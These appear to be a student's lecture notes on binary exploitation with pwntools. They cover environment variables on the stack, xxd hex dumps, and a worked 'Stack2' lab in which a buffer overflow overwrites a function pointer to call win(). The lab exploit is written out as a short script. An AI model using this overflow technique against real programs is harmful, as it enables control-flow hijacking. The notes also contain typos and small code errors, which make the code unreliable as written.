**Lecture 2 Notes**

**Using Pwntools to connect to a server:**

Add dir\_path = “path to the directory that holds the binary”

S = ssh(‘\_’, ‘shell url’, keyfile = ‘ssh\_key’)

p = s.process(‘./binary’)

p.sendline(“exploit goes here”)

p.recvall()

p.wait()

**Enviorment Variables:**

Passed to a process upon creation.

Allows a program to use them when the virtual address space is allocated.

Array of env variables are stored at the top of the stack

**Terminal Inputs:**

Piping into | xxd will give you the hex dump of the input

Inside `` will execute it as a command which can be put into other programs

Always check the Endian format for what the input is expecting

**ALWAYS CHCEK YOUR ASSUMPTIONS OF WHAT YOU SET IS CORRECT PIPING INTO | XXD**

**ALWAYS CONSIDER WHAT INPUT TYPE THE MEMORY IS EXPECTING!!**

**Stack2:**

\*fp is a function pointer

We want fp pointing to the function win() not 0

We need to buffer overflow into fp to change its address to win()

Try disass \*win that show the code decompiled inside the win() function

Win\_addr = 0x00005555554007aa

Buffer & FP are 72 bytes apart

Use p64 in pwntools because function addresses are 8 bytes

Context.clear(arch=’amd64’, log\_level=’debug’)

p.process(‘./stack2-64’)

win\_addr = 0x00005555554007aa

buffsize = 72

**exploit\_str = b’a’\*72+p64(win\_addr)**

**p.sendline(exploit\_str)**

**p.recvall()**

**p.wait)**